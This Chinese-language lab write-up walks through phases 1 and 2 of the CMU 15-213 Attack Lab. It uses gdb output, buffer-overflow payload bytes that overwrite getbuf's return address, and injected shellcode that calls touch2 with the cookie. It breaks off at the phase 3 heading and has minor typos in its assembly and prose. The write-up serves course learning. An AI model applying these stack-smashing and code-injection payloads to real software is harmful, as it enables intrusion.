前置知识

汇编,过程调用,栈帧等。

phase_1

在第一问中,无需注入新的代码,我们只用直接调用已经存在的函数touch1()即可。如果看懂了Machine-Level Programming V: Advanced Topics这将会非常容易实现,我们只需要几个简单的步骤即可。

首先,我们需要知道getbuf函数栈帧的位置。

1
2
3
4
5
6
7
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret

申请了40个字节的栈空间,所以我们要利用缓冲区溢出,填充40字节的栈空间后再填入touch1()的函数地址。

1
2
3
(gdb) x touch1
0x4017c0 <touch1>: 0x08ec8348(gdb) x touch1
0x4017c0 <touch1>: 0x08ec8348

因为是在64位的机器上,所以地址的大小也是8字节,算上填充栈帧的字节,总共48字节。

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

需要注意,我们先输入的在地址位,后输入的在高地址位,且x86-64通常为小段字节序。

利用hex2raw工具,转换成字符,然后输入到ctarget中就可以通过了。

1
2
3
4
5
6
7
8
9
10
gemini@gemini:~/code/target1$ ./ctarget -q -i attack1.txt 
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

phase_2

这个部分的难度略有提升,需要我们调用touch2()的同时,传入参数val,且与给定的cookie相等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void touch2(unsigned val) {
int vlevel = 2;
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
// 如果传入的值不等于cookie,则执行验证失败操作
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}

// 无论验证成功还是失败,函数都退出程序
exit(0);
}

我们需要知道函数传参时,使用了哪些寄存器:%rdi, %rsi, %rdx, %rcx, %r8, %r9。

所以,我们的思路一下就清晰了,首先将%rdi赋值成cookie,然后调用touch2()。

首先,我们需要将赋值代码注入到栈中。

1
mov 0x59b997fa %rdi

然后,调用touch2()函数

1
call 0x4017ec

最后,我们需要将栈帧上的返回地址变成我们插入的这段代码在栈上的地址,才能将%rip移动到栈上,然后执行我们注入的代码。

使用gdb调试可以查看寄存器值。具体过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gemini@gemini:~/code/target1$ gdb ./ctarget
(gdb) set args -q -i attack1.txt
(gdb) b getbuf
(gdb) run
(gdb) ni
14 in buf.c
(gdb) ni
0x00000000004017af 14 in buf.c
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
=> 0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret
(gdb) p/x $rsp
$1 = 0x5561dc78

拿到栈指针的值后,一切就变得很容易了。

在生产注入代码前,我们需要得到这段汇编代码的二进制码。

1
2
3
mov 0x59b997fa %rdi
pushq $0x4017ec
retq

使用objdump工具即可完成。

1
2
3
4
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret

最后,我们所输入的内容为

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

提交,成功通过level 2!

1
2
3
4
5
6
7
8
9
gemini@gemini:~/code/target1$ ./ctarget -q -i attack2.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

phase_3